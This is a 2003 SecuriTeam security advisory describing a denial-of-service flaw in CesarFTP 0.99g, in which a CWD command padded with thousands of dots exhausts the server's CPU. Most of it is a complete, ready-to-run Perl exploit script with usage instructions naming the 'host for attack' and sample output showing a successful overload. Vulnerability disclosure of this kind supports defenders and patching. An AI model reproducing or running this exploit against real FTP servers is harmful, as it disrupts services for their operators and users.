[NT] CesarFTP Denial of Service (dotted CWD)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/23/03

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Date: 23 Dec 2003 18:02:05 +0200

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      CesarFTP Denial of Service (dotted CWD)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.aclogic.com/> CesarFTP is "an easy-to-use and fast to
    configure FTP server". A vulnerability in the product allows remote
    attackers to cause the FTP server to consume large amounts of CPU time by
    issuing a malformed CWD command.

    DETAILS

    Vulnerable systems:
     * CesarFTP version 0.99g

    By issuing the following command a remote attackers can cause the server
    to consume large amount of CPU time:
    USER user
    PASS pass
    CWD ..................multiple 10000....

    Exploit:
    #!/usr/bin/perl -w
    use IO::Socket;

    ########################################
    # _ _
    # ____ (_) | |__
    # |_ / | | | '_ \
    # / / | | | |_) |
    # /___| |_| |_.__/
    #
    # http://coding.romainl.com/
    #
    ########################################
    ##
    ########################################
    ## tested on CesarFTP 0.99g + WindowsXP Sp1
    ##
    ## server : 127.0.0.1
    ## user : zib
    ## pass : zib
    ##
    ##$ perl expl.pl localhost zib zib
    ##
    ##server : localhost
    ##user : zib
    ##pass : zib
    ##
    ##[~] prepare to connect...
    ##[+] connected
    ##[~] prepare to send data...
    ##[+] success
    ##[~] Send CPU Overload Sequence...
    ##[+] CPU Overload Sequence sent
    ##$
    ########################################

    if (@ARGV < 3)
    {
    print "#############################################################\n";
    print " CesarFTP 0.99g : CPU Overload\n";
    print " by zib http://coding.romainl.com/ \n";
    print " 22/12/03\n";
    print "#############################################################\n";
    print " Usage:\n";
    print " cesar0.99g_dos.pl <host> <user> <pass>\n";
    print "\n";
    print " <host> - host for attack\n";
    print " <user> - a valid ftp user account, could be anonymous\n";
    print " <pass> - pass for the login\n";
    print "#############################################################";
    exit();
    }

    $server = $ARGV[0];
    $user = $ARGV[1];
    $pass = $ARGV[2];
    $nb = 10000;

    print "\n";
    print "server : $server\n";
    print "user : $user\n";
    print "pass : $pass\n";
    print "\n";

    $i = 0;

    print "[~] prepare to connect...\n";

    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
    PeerPort => "21") || die "[-] connect failed\n";
    if ($socket)
    {
     print "[+] connected\n";
     sleep(5);

     print "[~] prepare to send data...\n";
     print $socket "USER $user\r\n";
     print "USER $user\r\n";
     sleep(1);
     while (<$socket>)
     {
      print $_;
      last;
     }
     
     print $socket "PASS $pass\r\n";
     print "PASS $pass\r\n";
     sleep(1);
     while (<$socket>)
     {
      print $_;
      last;
     }

     print "[+] success\n";
     print "[~] Send CPU Overload Sequence...\n";
     print $socket "CWD ";
     for($i=0;$i<=$nb;$i=$i+1)
     {
      print $socket ".";
     }
     print $socket "\r\n";
     print "CWD sent\n";
     sleep(1);
     while (<$socket>)
     {
      print $_;
     }

     print "[+] Done\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:zibelette@aol.com> zib zib.

    ========================================

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